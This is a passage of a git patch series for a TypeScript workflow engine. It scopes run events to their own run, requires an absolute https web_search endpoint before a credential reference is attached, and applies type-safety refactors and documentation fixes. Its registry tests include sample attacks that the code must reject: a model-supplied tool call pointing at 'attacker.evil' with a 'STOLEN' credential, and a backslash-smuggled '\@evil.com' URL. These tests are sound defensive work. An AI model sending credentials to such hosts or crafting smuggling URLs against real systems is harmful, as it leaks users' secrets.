(sinkError) { + // The sink itself threw — it must NEVER bubble back into deliver() and break the producer or + // sibling subscribers. Surface the secondary failure out-of-band instead. + this.#surfaceOutOfBand(sinkError); + return; + } } // No sink: surface out-of-band rather than swallow (no-silent-catch) and without breaking the - // producer or sibling subscribers. A deferred `Promise` throw is the ES-only (no DOM/Node lib) - // equivalent of `queueMicrotask` — it becomes an unhandled rejection the host can observe. + // producer or sibling subscribers. + this.#surfaceOutOfBand(error); + } + + /** + * Re-throw out-of-band on a microtask so it becomes an observable unhandled rejection — the ES-only + * (no DOM/Node lib) equivalent of `queueMicrotask`, never breaking the in-progress `deliver()`. + */ + #surfaceOutOfBand(error: unknown): void { void Promise.resolve().then(() => { throw error; }); diff --git a/packages/core/src/engine/execution-host.ts b/packages/core/src/engine/execution-host.ts index 1ee9786d..18838804 100644 --- a/packages/core/src/engine/execution-host.ts +++ b/packages/core/src/engine/execution-host.ts @@ -185,7 +185,7 @@ export class InMemoryRunStore implements RunStore { if (events.some((e) => TERMINAL_TYPES.has(e.type))) { continue; // already settled } - const last = events[events.length - 1]; + const last = events.at(-1); interrupted.push({ runId, workflowId: started.workflowId, diff --git a/packages/core/src/engine/run-handle.test.ts b/packages/core/src/engine/run-handle.test.ts index ef4baac5..1e370d60 100644 --- a/packages/core/src/engine/run-handle.test.ts +++ b/packages/core/src/engine/run-handle.test.ts @@ -105,6 +105,39 @@ describe('RunHandle — the async-iterable event stream', () => { expect(observed.map((e) => e.type)).toEqual(['node:started', 'run:completed']); }); + it('scopes each handle to its own run on a shared bus (no cross-run leakage)', async () => { + const b = bus(); + const h1 = createRunHandle(b, 'run-1', () => undefined); + const h2 = createRunHandle(b, 'run-2', () => undefined); + const ns = (runId: string, nodeId: string): RunEventDraft => ({ + type: 'node:started', + runId, + nodeId, + nodeType: 'input', + }); + const done = (runId: string): RunEventDraft => ({ + type: 'run:completed', + runId, + outputs: {}, + totalTokensUsed: { input: 0, output: 0 }, + totalCostMicrocents: 0, + durationMs: 1, + }); + + b.emit(ns('run-1', 'a')); + b.emit(ns('run-2', 'x')); + b.emit(done('run-1')); // terminal for run-1 only — must not close run-2 + + const e1 = await drain(h1.events); + expect(e1.every((e) => e.runId === 'run-1')).toBe(true); + expect(e1.map((e) => e.type)).toEqual(['node:started', 'run:completed']); + + b.emit(done('run-2')); // now close run-2 + const e2 = await drain(h2.events); + expect(e2.every((e) => e.runId === 'run-2')).toBe(true); + expect(e2.map((e) => e.type)).toEqual(['node:started', 'run:completed']); + }); + it('cancel() delegates to the injected canceller', () => { const cancel = vi.fn(); const handle = createRunHandle(bus(), 'run-1', cancel); diff --git a/packages/core/src/engine/run-handle.ts b/packages/core/src/engine/run-handle.ts index 7106ea4f..149ad71a 100644 --- a/packages/core/src/engine/run-handle.ts +++ b/packages/core/src/engine/run-handle.ts @@ -112,9 +112,8 @@ class RunEventStream implements AsyncIterableIterator { /** Consumer abandoned the loop (`break` / `return`) — release the stream. */ return(): Promise> { - this.#closed = true; - this.#buffer.length = 0; - this.#wakeDrainWaiters(); + this.close(); // settles any parked next() deterministically (don't duplicate that logic here) + this.#buffer.length = 0; // discard anything still buffered on an early abandon return Promise.resolve({ value: undefined, done: true }); } @@ -144,7 +143,11 @@ export interface RunHandle { /** * Wire a {@link RunHandle} over a bus. Subscribes the primary stream at construction (before * `run:started`), and on a terminal event closes the stream and unsubscribes so the `for await` - * completes exactly once and nothing leaks. + * completes exactly once and nothing leaks. Both the primary subscription and the exposed + * {@link RunHandle.subscribe} are **scoped to this run's `runId`** — so even on a bus shared across + * runs/sessions (the ADR-0036 "one bus, two namespaces" model) a handle only ever sees its own run's + * events. (The engine instantiates a bus per run today, so the filter is also a guard against a future + * shared bus.) */ export function createRunHandle( bus: RunEventBus, @@ -154,6 +157,9 @@ export function createRunHandle( ): RunHandle { const primary = new RunEventStream(capacity); const unsubscribe = bus.subscribe((event) => { + if (event.runId !== runId) { + return; // not this run's event + } primary.push(event); if (TERMINAL_TYPES.has(event.type)) { primary.close(); @@ -163,7 +169,12 @@ export function createRunHandle( return { runId, events: primary, - subscribe: (listener) => bus.subscribe(listener), + subscribe: (listener) => + bus.subscribe((event) => { + if (event.runId === runId) { + listener(event); + } + }), cancel, whenConsumersReady: () => primary.whenDrained(), }; From cbfcef489b083353329e9ce66640bad1e468f65c Mon Sep 17 00:00:00 2001 From: Cemil ILIK Date: Sat, 13 Jun 2026 19:51:35 +0300 Subject: [PATCH 13/16] fix(core): address PR-17 review findings on 1.T (tools) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit web_search (builtins): made `endpoint` a REQUIRED config-only value validated as an absolute https:// URL before any credentialRef is attached (no exfil to a missing/ insecure target); threaded the previously-unused `maxResults` into the request URL; chose the query separator dynamically (`&` when the endpoint already has a query string) to avoid a double `?`. The https/absolute check uses a string/regex test — NOT the `URL` global (absent from the engine-purity lib, rule 5); deep parsing + the SSRF range checks remain behind the egress host capability (ADR-0029(d)). Type-safety / Sonar: - defineBuiltin preserves the Args generic (ToolDef) instead of erasing it with a cast; the single controlled widening moved to the BUILTIN_TOOLS catalog boundary. - untrusted: isUntrusted uses Reflect.get(value, UNTRUSTED) === true (no cast). - explicit String.localeCompare comparators on id sorts (registry, errors, builtins); Object.hasOwn over Object.prototype.hasOwnProperty.call; toSorted/String.raw; String#codePointAt where it preserves byte semantics; removed a redundant type alias. Skipped (with reason): charCodeAt sites in bounding's WTF-8 byte counter and lone- surrogate handling stay as-is — codePointAt merges surrogate pairs and would change the byte-width / lone-surrogate semantics those paths (and their tests) rely on. Updated the no-secret-exfil registry test for the now-required config endpoint: it pins a real endpoint + credentialRef and asserts the model's malicious overrides are dropped. 483 core tests green; engine + tools type-clean under both tsconfig gates. Refs: ADR-0037 Co-Authored-By: Claude Opus 4.8 --- packages/core/src/tools/bounding.test.ts | 7 +- packages/core/src/tools/bounding.ts | 76 ++++++++++++--------- packages/core/src/tools/builtins.test.ts | 86 +++++++++++++++++++++++- packages/core/src/tools/builtins.ts | 64 ++++++++++++++---- packages/core/src/tools/errors.ts | 2 +- packages/core/src/tools/registry.test.ts | 24 ++++--- packages/core/src/tools/registry.ts | 19 +++--- packages/core/src/tools/untrusted.ts | 6 +- 8 files changed, 216 insertions(+), 68 deletions(-) diff --git a/packages/core/src/tools/bounding.test.ts b/packages/core/src/tools/bounding.test.ts index a8ab2b84..abc4e2ad 100644 --- a/packages/core/src/tools/bounding.test.ts +++ b/packages/core/src/tools/bounding.test.ts @@ -1,3 +1,4 @@ +import type { AbortSignalLike } from '@relavium/shared'; import { describe, expect, it, vi } from 'vitest'; import { boundForModel, utf8ByteLength } from './bounding.js'; @@ -125,7 +126,11 @@ describe('boundForModel', () => { }); it('rethrows an abort that occurs during spill (cancel precedence) (M2)', async () => { - const signal = { aborted: true } as never; + const signal: AbortSignalLike = { + aborted: true, + addEventListener: () => undefined, + removeEventListener: () => undefined, + }; const spill = vi.fn(() => Promise.reject(Object.assign(new Error('aborted'), { name: 'AbortError' })), ); diff --git a/packages/core/src/tools/bounding.ts b/packages/core/src/tools/bounding.ts index 63e03dac..0d17d31e 100644 --- a/packages/core/src/tools/bounding.ts +++ b/packages/core/src/tools/bounding.ts @@ -57,7 +57,7 @@ function countLines(text: string): number { } let lines = 1; for (let i = 0; i < text.length; i++) { - if (text.charCodeAt(i) === 0x0a) { + if (text.codePointAt(i) === 0x0a) { lines++; } } @@ -103,40 +103,48 @@ function codePointBytes(cp: number): number { return 4; } -/** Slice up to `maxBytes` UTF-8 bytes from the head (or, when `fromEnd`, the tail), never splitting a code point. */ -function sliceToBytes(text: string, maxBytes: number, fromEnd: boolean): string { - if (maxBytes <= 0) { - return ''; - } +/** Head-anchored slice: scan forward, never exceeding `maxBytes`, never splitting a code point. */ +function sliceHeadToBytes(text: string, maxBytes: number): string { let bytes = 0; - if (!fromEnd) { - let i = 0; - while (i < text.length) { - const cp = text.codePointAt(i); - if (cp === undefined) { - break; - } - const width = codePointBytes(cp); - if (bytes + width > maxBytes) { - break; - } - bytes += width; - i += cp > 0xffff ? 2 : 1; + let i = 0; + while (i < text.length) { + const cp = text.codePointAt(i); + if (cp === undefined) { + break; + } + const width = codePointBytes(cp); + if (bytes + width > maxBytes) { + break; + } + bytes += width; + i += cp > 0xffff ? 2 : 1; + } + return text.slice(0, i); +} + +/** + * Index of the code point that ends at `end` (exclusive). Backs up to the leading high surrogate ONLY + * for a real pair; a LONE low surrogate is its own 3-byte (WTF-8) unit (`codePointAt` returns the + * surrogate value → codePointBytes = 3). + */ +function codePointStartBefore(text: string, end: number): number { + const start = end - 1; + const unit = text.charCodeAt(start); + if (unit >= 0xdc00 && unit <= 0xdfff && start > 0) { + const prev = text.charCodeAt(start - 1); + if (prev >= 0xd800 && prev <= 0xdbff) { + return start - 1; } - return text.slice(0, i); } + return start; +} + +/** Tail-anchored slice: scan backward, never exceeding `maxBytes`, never splitting a code point. */ +function sliceTailToBytes(text: string, maxBytes: number): string { + let bytes = 0; let i = text.length; while (i > 0) { - let start = i - 1; - const unit = text.charCodeAt(start); - // Back up to the leading high surrogate ONLY for a real pair; a LONE low surrogate is its own - // 3-byte (WTF-8) unit (`codePointAt` returns the surrogate value → codePointBytes = 3). - if (unit >= 0xdc00 && unit <= 0xdfff && start > 0) { - const prev = text.charCodeAt(start - 1); - if (prev >= 0xd800 && prev <= 0xdbff) { - start -= 1; - } - } + const start = codePointStartBefore(text, i); const cp = text.codePointAt(start); if (cp === undefined) { break; @@ -151,6 +159,14 @@ function sliceToBytes(text: string, maxBytes: number, fromEnd: boolean): string return text.slice(i); } +/** Slice up to `maxBytes` UTF-8 bytes from the head (or, when `fromEnd`, the tail), never splitting a code point. */ +function sliceToBytes(text: string, maxBytes: number, fromEnd: boolean): string { + if (maxBytes <= 0) { + return ''; + } + return fromEnd ? sliceTailToBytes(text, maxBytes) : sliceHeadToBytes(text, maxBytes); +} + /** * A bounded preview honoring BOTH the line ceiling and the byte ceiling. Over the line ceiling → a * head+tail LINE window; otherwise (byte-only truncation) a head+tail of the whole text. Each part is diff --git a/packages/core/src/tools/builtins.test.ts b/packages/core/src/tools/builtins.test.ts index 82e3e601..41d62202 100644 --- a/packages/core/src/tools/builtins.test.ts +++ b/packages/core/src/tools/builtins.test.ts @@ -1,7 +1,7 @@ import { describe, expect, it, vi } from 'vitest'; import { BUILTIN_TOOLS, BUILTIN_TOOL_IDS } from './builtins.js'; -import { ToolUnavailableError } from './errors.js'; +import { ToolArgsInvalidError, ToolUnavailableError } from './errors.js'; import type { ToolDef, ToolDispatchContext, ToolHost } from './types.js'; function tool(id: string): ToolDef { @@ -156,6 +156,90 @@ describe('built-in dispatch', () => { }); }); +describe('web_search url construction + endpoint validation', () => { + function captureFetch(): { + host: ToolHost; + calls: Array<{ url: string; credentialRef: string | undefined }>; + } { + const calls: Array<{ url: string; credentialRef: string | undefined }> = []; + const host: ToolHost = { + egress: { + fetch: (request) => { + calls.push({ url: request.url, credentialRef: request.credentialRef }); + return Promise.resolve({ status: 200, headers: {}, body: '{}' }); + }, + }, + }; + return { host, calls }; + } + + it('appends `?q=` when the endpoint has no query string', async () => { + const target = tool('web_search'); + const { host, calls } = captureFetch(); + await target.dispatch( + target.parseArgs({ query: 'a b', endpoint: 'https://s.example/search' }), + host, + ctx, + ); + expect(calls[0]?.url).toBe('https://s.example/search?q=a%20b'); + }); + + it('uses `&` (not a double `?`) when the endpoint already has a query string', async () => { + const target = tool('web_search'); + const { host, calls } = captureFetch(); + await target.dispatch( + target.parseArgs({ query: 'q', endpoint: 'https://s.example/search?engine=foo' }), + host, + ctx, + ); + expect(calls[0]?.url).toBe('https://s.example/search?engine=foo&q=q'); + }); + + it('threads a validated maxResults into the url, encoded', async () => { + const target = tool('web_search'); + const { host, calls } = captureFetch(); + await target.dispatch( + target.parseArgs({ query: 'q', maxResults: 5, endpoint: 'https://s.example/search' }), + host, + ctx, + ); + expect(calls[0]?.url).toBe('https://s.example/search?q=q&maxResults=5'); + }); + + it('rejects a missing endpoint at parse time (config-only, required)', () => { + expect(() => tool('web_search').parseArgs({ query: 'q' })).toThrow(); + }); + + it('rejects a non-HTTPS endpoint and never forwards the credentialRef', async () => { + const target = tool('web_search'); + const { host, calls } = captureFetch(); + const err = await rejection(() => + target.dispatch( + target.parseArgs({ query: 'q', endpoint: 'http://s.example', credentialRef: 'r' }), + host, + ctx, + ), + ); + expect(err).toBeInstanceOf(ToolArgsInvalidError); + expect(err).toMatchObject({ fields: ['endpoint'] }); + expect(calls).toHaveLength(0); // no egress, so no credentialRef leaked to the host + }); + + it('rejects a non-absolute endpoint with a typed args error', async () => { + const target = tool('web_search'); + const { host, calls } = captureFetch(); + const err = await rejection(() => + target.dispatch( + target.parseArgs({ query: 'q', endpoint: '/relative/path', credentialRef: 'r' }), + host, + ctx, + ), + ); + expect(err).toBeInstanceOf(ToolArgsInvalidError); + expect(calls).toHaveLength(0); + }); +}); + describe('built-in policy targets', () => { it('run_command resolves the full command string for the allowlist', () => { const target = tool('run_command'); diff --git a/packages/core/src/tools/builtins.ts b/packages/core/src/tools/builtins.ts index 32f39e66..0c4598ef 100644 --- a/packages/core/src/tools/builtins.ts +++ b/packages/core/src/tools/builtins.ts @@ -10,7 +10,7 @@ import { z } from 'zod'; -import { ToolUnavailableError } from './errors.js'; +import { ToolArgsInvalidError, ToolUnavailableError } from './errors.js'; import { type EgressCapability, type FsCapability, @@ -43,7 +43,9 @@ interface BuiltinSpec { readonly dispatch: (args: A, host: ToolHost, ctx: ToolDispatchContext) => Promise; } -function defineBuiltin(spec: BuiltinSpec): ToolDef { +// Returns `ToolDef` so each tool keeps its precise validated-arg type; the single controlled +// widening to the heterogeneous `ToolDef` (`Args = unknown`) happens once at the catalog boundary. +function defineBuiltin(spec: BuiltinSpec): ToolDef { const def: ToolDef = { id: spec.id, source: 'builtin', @@ -55,10 +57,32 @@ function defineBuiltin(spec: BuiltinSpec): ToolDef { ...(spec.policyTarget !== undefined ? { policyTarget: spec.policyTarget } : {}), dispatch: spec.dispatch, }; - // Erase the `Args` generic so heterogeneous tools share one `ToolDef[]`. The cast is necessary — - // `policyTarget`'s parameter is contravariant — and safe by construction: the registry validates via - // `parseArgs` BEFORE it ever calls `dispatch`/`policyTarget`, so the value those receive is exactly `A`. - return def as ToolDef; + return def; +} + +/** + * Build the `web_search` request URL from the config-pinned endpoint. Throws a typed + * `ToolArgsInvalidError` (field: `endpoint`) when the endpoint is not an absolute `https://` URL — so + * the caller never forwards a `credentialRef` against a missing/insecure target. The separator is + * chosen dynamically (`&` when the endpoint already carries a query string, else `?`) to avoid a + * double `?`, and every parameter value is percent-encoded. + */ +function buildSearchUrl(endpoint: string, query: string, maxResults: number | undefined): string { + // Validate without the platform `URL` global (absent from the engine-purity lib, CLAUDE.md rule 5): + // require an absolute https:// URL with a host. A non-HTTPS / relative endpoint is rejected here, + // before any credentialRef is attached; deep URL parsing + the SSRF range checks live behind the + // egress host capability (ADR-0029(d)). + if (!/^https:\/\/[^/?#\s]+/i.test(endpoint)) { + throw new ToolArgsInvalidError( + 'web_search', + ['endpoint'], + 'web_search `endpoint` must be an absolute https:// URL', + ); + } + const sep = endpoint.includes('?') ? '&' : '?'; + const max = + maxResults === undefined ? '' : `&maxResults=${encodeURIComponent(String(maxResults))}`; + return `${endpoint}${sep}q=${encodeURIComponent(query)}${max}`; } function requireFs(host: ToolHost, toolId: ToolId): FsCapability { @@ -338,8 +362,12 @@ const webSearchTool = defineBuiltin({ .object({ query: z.string().min(1), maxResults: z.number().int().positive().optional(), - // Config-pinned: the provider endpoint + the opaque secret-store reference (never a raw key). - endpoint: z.string().optional(), + // Config-pinned and REQUIRED: a non-HTTPS or missing endpoint must never be paired with a + // credentialRef, so the provider endpoint is mandatory rather than defaulted to '' (the empty + // string silently produced a credentialed request against a bogus URL). The host still runs the + // shared SSRF primitive; this is the engine-side floor. + endpoint: z.string().min(1), + // The opaque secret-store reference (never a raw key), resolved host-side inside its boundary. credentialRef: z.string().optional(), }) .strict(), @@ -352,8 +380,9 @@ const webSearchTool = defineBuiltin({ configOnlyParams: ['endpoint', 'credentialRef'], policy: { fsScoped: false, spawnsProcess: false, egress: 'search', requiresGateApproval: false }, dispatch: (args, host, ctx) => { - const endpoint = args.endpoint ?? ''; - const url = `${endpoint}?q=${encodeURIComponent(args.query)}`; + // Reject a non-absolute / non-HTTPS endpoint BEFORE attaching the credentialRef — a credential + // must never be forwarded for an invalid URL. Field names only (the value may be config-secret). + const url = buildSearchUrl(args.endpoint, args.query, args.maxResults); return requireEgress(host, 'web_search').fetch( { method: 'GET', url, credentialRef: args.credentialRef }, ctx.signal, @@ -436,7 +465,14 @@ const invokeAgentTool = defineBuiltin({ * The catalog. * ------------------------------------------------------------------------------------------------ */ -/** The built-in tool catalog (built-in-tools.md). Register these into a `ToolRegistry` with a host. */ +/** + * The built-in tool catalog (built-in-tools.md). Register these into a `ToolRegistry` with a host. + * + * The single controlled widening lives HERE: each tool keeps its precise `ToolDef` up to this + * boundary, where the heterogeneous catalog erases the per-tool `Args` to the shared `ToolDef` + * (`Args = unknown`). This is safe by construction — the registry validates via `parseArgs` BEFORE it + * ever calls `dispatch`/`policyTarget`, so the value those receive is exactly the tool's own `A`. + */ export const BUILTIN_TOOLS: readonly ToolDef[] = [ readFileTool, writeFileTool, @@ -450,7 +486,9 @@ export const BUILTIN_TOOLS: readonly ToolDef[] = [ readClipboardTool, notifyTool, invokeAgentTool, -]; +] as readonly ToolDef[]; /** The built-in tool ids (sorted), for grant construction and tests. */ -export const BUILTIN_TOOL_IDS: readonly ToolId[] = BUILTIN_TOOLS.map((tool) => tool.id).sort(); +export const BUILTIN_TOOL_IDS: readonly ToolId[] = BUILTIN_TOOLS.map((tool) => tool.id).sort( + (a, b) => a.localeCompare(b), +); diff --git a/packages/core/src/tools/errors.ts b/packages/core/src/tools/errors.ts index e4bfa57d..be68e474 100644 --- a/packages/core/src/tools/errors.ts +++ b/packages/core/src/tools/errors.ts @@ -48,7 +48,7 @@ export class UnknownToolError extends ToolDispatchError { constructor(toolId: ToolId, availableIds: readonly ToolId[]) { super( - `unknown tool \`${toolId}\` — available tools: ${[...availableIds].sort().join(', ')}`, + `unknown tool \`${toolId}\` — available tools: ${[...availableIds].sort((a, b) => a.localeCompare(b)).join(', ')}`, toolId, undefined, ); diff --git a/packages/core/src/tools/registry.test.ts b/packages/core/src/tools/registry.test.ts index ccd19178..bf14cbb9 100644 --- a/packages/core/src/tools/registry.test.ts +++ b/packages/core/src/tools/registry.test.ts @@ -29,7 +29,7 @@ function call(name: string, args?: unknown, providerExecuted?: boolean): ToolCal id: 'c1', name, args, - ...(providerExecuted !== undefined ? { providerExecuted } : {}), + ...(providerExecuted === undefined ? {} : { providerExecuted }), }; } @@ -124,7 +124,7 @@ describe('ToolRegistry — happy path and outcome shape', () => { const reg = registry(); expect(reg.has('read_file')).toBe(true); expect(reg.has('nope')).toBe(false); - expect(reg.list()).toEqual([...BUILTIN_TOOL_IDS].sort()); + expect(reg.list()).toEqual([...BUILTIN_TOOL_IDS].sort((a, b) => a.localeCompare(b))); expect(reg.list()).toHaveLength(12); }); @@ -580,16 +580,22 @@ describe('ToolRegistry — config-only params cannot be model- or mapping-suppli tools: BUILTIN_TOOLS, host: stubHost({ egress: { fetch } }), }).dispatch( - // config pins the credentialRef but NOT the endpoint; the model tries to supply a malicious endpoint. + // config pins BOTH the endpoint and the credentialRef (both config-only); the model tries to + // supply a malicious endpoint + credentialRef, which must be dropped. call('web_search', { query: 'q', endpoint: 'https://attacker.evil', credentialRef: 'STOLEN', }), - ctx({ config: { parameters: { credentialRef: 'real-key-ref' } } }), + ctx({ + config: { + parameters: { endpoint: 'https://api.search.example', credentialRef: 'real-key-ref' }, + }, + }), ); const req = fetch.mock.calls[0]?.[0]; - expect(req?.url).not.toContain('attacker.evil'); // model endpoint dropped → relative `?q=`; the 1.AE host primitive rejects a non-HTTPS URL in prod (stub skips that) + expect(req?.url).toContain('api.search.example'); // the config-pinned endpoint is used… + expect(req?.url).not.toContain('attacker.evil'); // …and the model's endpoint override is dropped expect(req?.credentialRef).toBe('real-key-ref'); // the model's 'STOLEN' override is dropped }); @@ -677,7 +683,7 @@ describe('ToolRegistry — host extraction rejects smuggling chars but allows hy }); it.each([ - ['backslash', 'https://api.example.com\\@evil.com/'], + ['backslash', String.raw`https://api.example.com\@evil.com/`], ['space', 'https://exa mple.com/'], ['tab', 'https://e\tvil/'], ])('rejects a %s in the authority as insecure', async (_name, url) => { @@ -806,7 +812,7 @@ describe('ToolRegistry — output_mapping stateKey cannot pollute the prototype ); expect(out.output).toEqual({ code: 0 }); // __proto__ stateKey skipped expect(Object.getPrototypeOf(out.output)).toBe(Object.prototype); - expect(Object.prototype.hasOwnProperty.call(out.output, '__proto__')).toBe(false); + expect(Object.hasOwn(out.output as object, '__proto__')).toBe(false); }); }); @@ -864,7 +870,9 @@ describe('ToolRegistry — remaining hardening regressions (TG-2, TG-4)', () => it('rejects a DEL (0x7f) control char in the authority (TG-4)', async () => { const err = await rejectsWith( registry().dispatch( - call('http_request', { url: 'https://api' + String.fromCharCode(0x7f) + '.example.com/x' }), + call('http_request', { + url: 'https://api' + String.fromCodePoint(0x7f) + '.example.com/x', + }), ctx({ toolPolicy: { allowedDomains: ['api.example.com'] } }), ), ); diff --git a/packages/core/src/tools/registry.ts b/packages/core/src/tools/registry.ts index a85a3030..692b2368 100644 --- a/packages/core/src/tools/registry.ts +++ b/packages/core/src/tools/registry.ts @@ -46,7 +46,7 @@ export function createToolRegistry(options: CreateToolRegistryOptions): { return { has: (id) => tools.has(id), - list: () => [...tools.keys()].sort(), + list: () => [...tools.keys()].sort((a, b) => a.localeCompare(b)), dispatch: (toolCall, ctx) => dispatch(tools, host, toolCall, ctx), }; } @@ -181,7 +181,7 @@ function assembleArgs( if (UNSAFE_ARG_KEYS.has(key)) { continue; } - if (Object.prototype.hasOwnProperty.call(params, key)) { + if (Object.hasOwn(params, key)) { effective[key] = params[key]; } } @@ -220,12 +220,13 @@ function assertNoTaintedArgs( } const tainted = Object.keys(effective).filter((key) => secretArgKeys.has(key)); if (tainted.length > 0) { + const sorted = tainted.toSorted((a, b) => a.localeCompare(b)); throw new ToolArgsInvalidError( toolId, - tainted.sort(), - `tool \`${toolId}\`: a secret-typed value cannot flow into tool arguments (${tainted - .sort() - .join(', ')}) — use a credential reference (ADR-0029)`, + sorted, + `tool \`${toolId}\`: a secret-typed value cannot flow into tool arguments (${sorted.join( + ', ', + )}) — use a credential reference (ADR-0029)`, ); } } @@ -255,11 +256,11 @@ function zodIssuePaths(cause: unknown): readonly string[] { if (isRecord(issue)) { const path = issue['path']; if (Array.isArray(path)) { - paths.add(path.map((segment: unknown) => String(segment)).join('.') || '(root)'); + paths.add(path.map(String).join('.') || '(root)'); } } } - return [...paths].sort(); + return [...paths].sort((a, b) => a.localeCompare(b)); } /* ------------------------------------------------------------------------------------------------ * @@ -488,7 +489,7 @@ function isRecord(value: unknown): value is Record { */ function hasSmugglingChar(authority: string): boolean { for (let i = 0; i < authority.length; i++) { - const code = authority.charCodeAt(i); + const code = authority.codePointAt(i) ?? Number.NaN; if (code <= 0x20 || code === 0x7f || code === 0x5c) { return true; // <=0x20: C0 controls + space; 0x7f: DEL; 0x5c: backslash } diff --git a/packages/core/src/tools/untrusted.ts b/packages/core/src/tools/untrusted.ts index bae7c0b7..8defdd4d 100644 --- a/packages/core/src/tools/untrusted.ts +++ b/packages/core/src/tools/untrusted.ts @@ -33,9 +33,5 @@ export function unwrapUntrusted(wrapped: Untrusted): T { /** Type guard for an untrusted wrapper. */ export function isUntrusted(value: unknown): value is Untrusted { - return ( - typeof value === 'object' && - value !== null && - (value as Record)[UNTRUSTED] === true - ); + return typeof value === 'object' && value !== null && Reflect.get(value, UNTRUSTED) === true; } From d5ad39f8c8dc225cdd19a4855772a14644172546 Mon Sep 17 00:00:00 2001 From: Cemil ILIK Date: Sat, 13 Jun 2026 20:32:35 +0300 Subject: [PATCH 14/16] fix(core): address second PR-17 review batch (1.N + 1.T + docs) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Real bug (1.T): - bounding: the head+tail preview could be maxLines+1 lines (head+tail == maxLines, then the inserted `…` line). Reserve one line for the ellipsis so it never exceeds. Docs: - sse-event-schema: resolve the contract-authority contradiction — the document is the authoritative contract, the @relavium/shared Zod schema is its runtime implementation (consistent with the "spec wins" note); the schema lives in shared and is consumed/re-exported by core. - run-plan: a node failure is terminal only for that attempt (which, without 1.S, fails the run); node-level retry above the provider chain is layered by 1.S. - execution-model: drop the stray leading `+` so the checkpoint-sources phrase reads as prose (step_executions, run_events, and messages). 1.N type-safety / readability: - engine.test: narrow thrown errors with instanceof (no `as EngineStateError`); the invalid-decision case uses @ts-expect-error + a realistic shape, not `as never`. - execution-host: a `run:started` type-predicate find drops the redundant re-check. - engine: optional chain in #hasLiveEdge. Added an InMemoryRunStore.listInterruptedRuns positive test (started-but-unfinished → interrupted, resumable:false). 1.T: - builtins: flip defineBuiltin's negated optional-field spreads to positive; hoist the test's captureFetch helper to module scope. Skipped (with reason): - #nodeEmit duplicate cases: each narrows `event` to a distinct union member so the spread keeps its fields; merging needs an unsafe cast (documented in-code). - ADR-0037 MD028: no blockquote exists (the content is a contiguous bulleted list). - types.ts `ToolId = string`: an exported semantic registry-key alias used across the module — intentional, removing it churns call sites for no gain. - registry glob `star !== -1`: a sentinel check in the backtracking matcher; inverting the if/else-if chain risks a bug for no readability gain. - bounding charCodeAt sites: code-unit reads for WTF-8 byte-width / lone-surrogate handling — codePointAt would change those semantics. 484 core tests; turbo lint/typecheck/test/build green; >=90% line+branch. Refs: ADR-0036, ADR-0037 Co-Authored-By: Claude Opus 4.8 --- docs/architecture/execution-model.md | 4 +-- docs/reference/contracts/sse-event-schema.md | 2 +- docs/reference/shared-core/run-plan.md | 2 +- packages/core/src/engine/engine.test.ts | 15 ++++++--- packages/core/src/engine/engine.ts | 4 +-- .../core/src/engine/execution-host.test.ts | 17 ++++++++++ packages/core/src/engine/execution-host.ts | 6 ++-- packages/core/src/tools/bounding.ts | 5 +-- packages/core/src/tools/builtins.test.ts | 31 ++++++++++--------- packages/core/src/tools/builtins.ts | 4 +-- 10 files changed, 59 insertions(+), 31 deletions(-) diff --git a/docs/architecture/execution-model.md b/docs/architecture/execution-model.md index a2ffb8d1..9fa18054 100644 --- a/docs/architecture/execution-model.md +++ b/docs/architecture/execution-model.md @@ -138,8 +138,8 @@ After every node completes, the engine writes a checkpoint to local SQLite — r status, per-node states, completed and pending node IDs, and (for an orchestrator) its message history. This is the foundation for resume and retry; see [shared-core-engine.md](shared-core-engine.md#checkpoint-and-resume). There is **no separate -checkpoint table** — the checkpoint is reconstructed (by a `Checkpointer`) from `step_executions` -+ `run_events` (+ `messages` for an orchestrator's history), all defined in +checkpoint table** — the checkpoint is reconstructed (by a `Checkpointer`) from `step_executions`, +`run_events` (and `messages` for an orchestrator's history), all defined in [../reference/desktop/database-schema.md](../reference/desktop/database-schema.md). Three run-loop substrate rules make this reliable ([ADR-0036](../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md)): diff --git a/docs/reference/contracts/sse-event-schema.md b/docs/reference/contracts/sse-event-schema.md index 998e3644..6c9cbb0e 100644 --- a/docs/reference/contracts/sse-event-schema.md +++ b/docs/reference/contracts/sse-event-schema.md @@ -1,7 +1,7 @@ # Run Event Schema - **Status**: Stable -- **Canonical type**: `RunEvent` (discriminated union) **defined in `@relavium/shared`** (`run-event.ts`, the runtime-validated source of truth); `@relavium/core` **consumes and re-exports** it +- **Canonical type**: the `RunEvent` discriminated-union Zod schema lives in `@relavium/shared` (`run-event.ts`) and is **consumed / re-exported** by `@relavium/core`. **This document is the authoritative contract**; the schema is its runtime-validated implementation — if the two ever diverge, the doc wins and the schema is corrected to it (see the note under [Selected definitions](#selected-definitions)) - **Transport**: Phase 1 — in-process `RunEventBus` (the engine runs in-process on **every** surface, including the desktop WebView). Phase 2 — HTTP `text/event-stream` (SSE) from the cloud API. - **Related**: [ipc-contract.md](ipc-contract.md), [workflow-yaml-spec.md](workflow-yaml-spec.md), [../shared-core/store-shapes.md](../shared-core/store-shapes.md), [../shared-core/llm-provider-seam.md](../shared-core/llm-provider-seam.md) (canonical `costMicrocents` unit + the `cost:updated` figures), [../../architecture/execution-model.md](../../architecture/execution-model.md), [../../architecture/state-management.md](../../architecture/state-management.md), [ADR-0018](../../decisions/0018-desktop-execution-and-rust-egress.md) diff --git a/docs/reference/shared-core/run-plan.md b/docs/reference/shared-core/run-plan.md index c14c7656..e43b595a 100644 --- a/docs/reference/shared-core/run-plan.md +++ b/docs/reference/shared-core/run-plan.md @@ -49,7 +49,7 @@ A `fan_in` vertex carries `config.branchNodeIds` — the branch ids in the **sta A branch a `condition` routed away from is **skipped** by the run loop's skip-propagation ([ADR-0036](../../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md)). A skipped branch **counts as settled** against the join — so a `wait_all` fan-in fires instead of hanging on it — and is **omitted** from the `branches` array surfaced to `merge_fn` / `concat`, preserving the *relative order* of the surviving branches; a fan-in all of whose branches were skipped is itself skipped. -> **Retry is not lifted onto the plan.** Unlike an agent's `fallbackChain` (lifted onto `AgentPlanConfig` for the run loop's convenience), a node's `retry_config` is **not** copied onto the vertex. The run loop (1.N) makes no retry decision; node-level retry above the provider fallback chain is layered by 1.S, which reads `retry_config` from the authored node (`config.node`). 1.N treats a node failure as terminal for the run. +> **Retry is not lifted onto the plan.** Unlike an agent's `fallbackChain` (lifted onto 